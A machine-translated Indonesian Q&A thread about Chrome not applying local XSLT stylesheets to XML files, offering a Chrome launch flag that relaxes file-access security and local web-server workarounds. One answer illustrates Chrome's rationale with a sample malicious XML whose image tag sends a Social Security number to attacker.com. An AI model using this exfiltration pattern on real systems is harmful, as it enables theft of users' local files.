Saya melihat ke xslt dan mulai menguji dengan contoh di w3schools.
Namun, ketika saya menyimpan xml dan xsl dalam file dan mencoba membukanya secara lokal, chrome tidak akan melakukan transformasi xsl. Itu hanya menunjukkan halaman kosong.
Saya telah menambahkan <?xml-stylesheet type="text/xsl" href="style.xsl">
tag ke dokumen xml, dan firefox membuatnya seperti yang diharapkan. Selain itu, jika saya melihat file melalui server web, chrome menampilkan file seperti yang seharusnya.
Apakah chrome mengalami masalah dalam menemukan informasi stylesheet jika tautannya bersifat lokal? Mengubah href menjadi file:///C:/xsl/style.xsl
tidak ada bedanya.
Memperbarui: Ini tampaknya merupakan efek samping dari kebijakan keamanan untuk tidak memperlakukan file: /// * sebagai asal yang sama. Ini membuat kesalahan berikut muncul di konsol:
Upaya tidak aman untuk memuat file URL: /// C: /xsl-rpg/style.xsl dari bingkai dengan file URL: /// C: /xsl-rpg/data.xml. Domain, protokol, dan port harus cocok.
sumber
file:
protokol Chrome melontarkan kesalahan domain yang sama.Jawaban:
Jawaban singkatnya adalah "Tidak, gunakan salah satu dari beragam jenis browser yang ada" .
Alasan ini tidak berhasil adalah karena masalah keamanan yang telah ditangani Chrome dengan cara yang kontroversial [1] [2] [3] [4] , dengan memblokir file XML agar tidak mengakses file XSLT lokal di direktori yang sama, sedangkan HTML file dapat mengakses file .CSS di direktori yang sama dengan baik.
Di seluruh masalah yang dikutip di atas, pengguna telah meminta pesan kesalahan yang lebih jelas (karena domain, protokol, dan port memang cocok), atau setidaknya menampilkan XML tanpa gaya. Pengembang Chrome telah mengabaikan permintaan ini.
sumber
Anda dapat melakukan ini secara lokal menggunakan tanda baris perintah Chrome.
Bendera spesifiknya adalah
--allow-file-access-from-files
Di OS X: dari Terminal.app, jalankan
/Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files
Di Windows: dari command prompt run
%LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files
Catatan: Anda mungkin harus keluar dari Chrome jika saat ini berjalan jika tidak Ch
sumber
C:\Program Files (x86)\Google\Chrome\Application
:, dan perintah --allow-file-access-from-files berjalan dengan baik, tetapi dokumen XML lokal saya (diubah oleh file XSLT lokal) tidak ditampilkan./Applications/Google\ Chrome\ Canary.app/Contents/MacOS/Google\ Chrome\ Canary --allow-file-access-from-files
bekerja untuk saya. Jelas saya menjalankan Chrome Canary. Setelah menjalankan perintah ini, jendela Chrome baru akan terbuka dan memungkinkan Anda melakukan Transformasi XSL.get-process chrome | stop-process; start-process chrome --allow-file-access-from-files
Jika Anda ingin tetap menggunakan OP, jawabannya adalah Tidak (seperti yang ditunjukkan orang lain) tetapi salah satu cara untuk memperbaiki masalah adalah dengan menjalankan server web sederhana dan membuka file melalui http di chrome. Jika Anda telah menginstal python 2.x, Anda dapat menjalankan server web dengan mengetik:
Atau di python 3.x:
dan kemudian buka file menggunakan
http://localhost:8000/yourfile.xml
di chrome. Mudah-mudahan Anda hanya ingin menyelesaikan pekerjaan Anda dan bukan hal yang penting untuk membuka file menggunakanfile://
sumber
Butuh sedikit penguraian di laman Bug Chrome - mereka sangat ingin tidak menjelaskan apa masalahnya, dan mengapa mereka memilih melanggar semua orang daripada tidak menghancurkan semua orang.
Asumsikan saya memiliki file XML - di suatu tempat - di hard drive saya, misalnya:
Dan entitas jahat - entah bagaimana - berhasil menjatuhkan file Xml berbahaya di komputer saya, misalnya:
Bayangkan TrojanVirusWorm.xml berisi Instruksi Pemrosesan stylesheet ( PI ):
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
Penyerang kemudian menginstruksikan browser saya untuk menavigasi ke
trojanVirusWorm.xml
file yang disimpan secara lokal .Rupanya ada cara agar file XML dapat membaca konten file XSD (daripada diubah oleh file XSD):
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?> <!--And then a miracle happens, and this XML file is able to read the contents of the stylesheet xml file--> <html> <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img> </html>
Saya tidak mengerti bagaimana file XML dapat membaca file stylesheet. Namun tim Chrome meyakinkan kami bahwa ini berbahaya, dan tidak dapat diselesaikan.
Setiap browser lain memecahkannya. Mereka menyelesaikannya karena itu bukan masalah .
sumber
Solusi saya untuk melihat xml sesuai dengan file xsl
Misalkan kita memiliki some_file.xml dengan header:
<?xml version="1.0" encoding="UTF-8" ?> <?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
https://some-site.com/Common.xsl
dan meletakkannya di sebelahsome_file.xml
href="https://some-site.com/Common.xsl"
menjadihref="http://localhost:8001/Common.xsl"
python3 -m http.server 8001
http://localhost:8001/some_file.xml
sumber
Anda dapat mengaktifkan Chrome untuk merender file XSL dengan mengubah pengaturan browser Anda. Pendekatan yang lebih aman adalah dengan mengaksesnya melalui server web lokal, seperti Visual Studio Code Live Server atau Apache. Lihat XSLT Tidak Akan Merender di File Lokal untuk mengetahui langkah-langkahnya.
sumber